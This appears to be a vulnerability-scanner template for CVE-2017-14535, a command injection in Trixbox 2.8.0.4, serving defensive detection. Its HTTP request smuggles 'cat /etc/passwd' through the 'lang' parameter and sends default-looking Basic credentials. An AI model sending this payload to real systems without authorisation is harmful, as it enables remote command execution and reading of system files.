id: CVE-2017-14535

info:
  name: Trixbox - 2.8.0.4 OS Command Injection
  author: pikpikcu
  severity: high
  description: Trixbox 2.8.0.4 is vulnerable to OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Upgrade to a patched version of Trixbox or apply the necessary security patches provided by the vendor.
  reference:
    - https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/
    - https://www.exploit-db.com/exploits/49913
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14535
    - https://www.linkedin.com/pulse/trixbox-os-command-injection-vulnerability-sachin-wagh-ceh-ecsa-/?published=t
    - https://twitter.com/tiger_tigerboy/status/962689803270500352
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2017-14535
    cwe-id: CWE-78
    epss-score: 0.50069
    epss-percentile: 0.9879
    cpe: cpe:2.3:a:netfortris:trixbox:2.8.0.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netfortris
    product: trixbox
  tags: cve,cve2017,trixbox,rce,injection,edb,netfortris,vuln

http:
  - raw:
      - |
        GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Accept-Language: de,en-US;q=0.7,en;q=0.3
        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
        Connection: close
        Cache-Control: max-age=0

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c06dbbade9d6790fa3cedb31aa9d901e1fb9dafad3a4bd783fb15ec2c573ac7202201afcda9729ad51bc610b98d5e01e2ab110522503e266de1ccccc34b1e2c7fd71:922c64590222798bb761d5b6d8e72950